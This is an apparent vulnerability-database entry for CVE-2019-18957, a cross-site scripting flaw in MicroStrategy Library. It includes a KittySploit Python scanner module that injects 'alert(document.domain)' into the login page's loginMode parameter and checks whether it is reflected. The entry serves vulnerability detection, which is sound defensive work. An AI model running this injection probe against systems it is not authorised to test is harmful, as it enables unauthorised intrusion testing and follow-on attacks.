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MicroStrategy Library <11.1.3 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Cross-Site Scripting in MicroStrategy Library allows script injection in the browser.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-18957
14 Nov 201914:15
–attackerkb
circl
Circl
CVE-2019-18957
20 Feb 202414:51
–circl
cnvd
CNVD
Microstrategy Library Cross-Site Scripting Vulnerability
15 Nov 201900:00
–cnvd
cve
CVE
CVE-2019-18957
14 Nov 201913:57
–cve
cvelist
Cvelist
CVE-2019-18957
14 Nov 201913:57
–cvelist
euvd
EUVD
EUVD-2019-8625
7 Oct 202500:30
–euvd
nuclei
Nuclei
MicroStrategy Library <11.1.3 - Cross-Site Scripting
22 Oct 202602:06
–nuclei
nvd
NVD
CVE-2019-18957
14 Nov 201914:15
–nvd
osv_cve
osv_cve
CVE-2019-18957
14 Nov 201914:15
–osv_cve
prion
Prion
Cross site scripting
14 Nov 201914:15
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MicroStrategy Library before 11."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'MicroStrategy Library <11.1.3 - Cross-Site Scripting Detection',
        'description': 'MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'microstrategy', 'packetstorm', 'xss', 'seclists', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://seclists.org/bugtraq/2019/Nov/23',
            'https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-18957',
            'http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html',
            'http://seclists.org/fulldisclosure/2019/Nov/4',
        ],
        'cve': 'CVE-2019-18957',
    }

    def run(self):
        r = self.http_request(method="GET", path='/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('previousLoginMode: alert(document.domain),',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="MicroStrategy Library <11.1.3 - Cross-Site Scripting detected",
                path='/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.04857
4